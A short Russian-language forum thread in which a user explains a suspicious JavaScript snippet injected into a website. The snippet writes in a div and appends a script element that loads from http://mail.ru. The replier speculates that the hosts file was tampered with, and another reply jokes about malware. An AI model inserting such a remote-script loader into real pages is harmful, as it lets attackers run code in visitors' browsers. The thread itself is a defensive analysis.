Внедрили странный кусок кода
Что делает код:

Создается скрипт с src=http://mail.ru
var ff = document.createElement('script'); ff.src = 'http://mail.ru';


Добавляется div
document.write('<div id=\'ff\'></div>'); 


В div добавляется скрипт
document.getElementById('ff').appendChild(ff);



Так как нет никакого смысла добавлять скрипт с mail.ru, то предполагаю, что в hosts вам тоже добавили левые адреса, чтобы mail.ru отдавал нужный скрипт.
Ага ты им счетчики накручиваешь, а они тебе сертификат мейлвари подписать.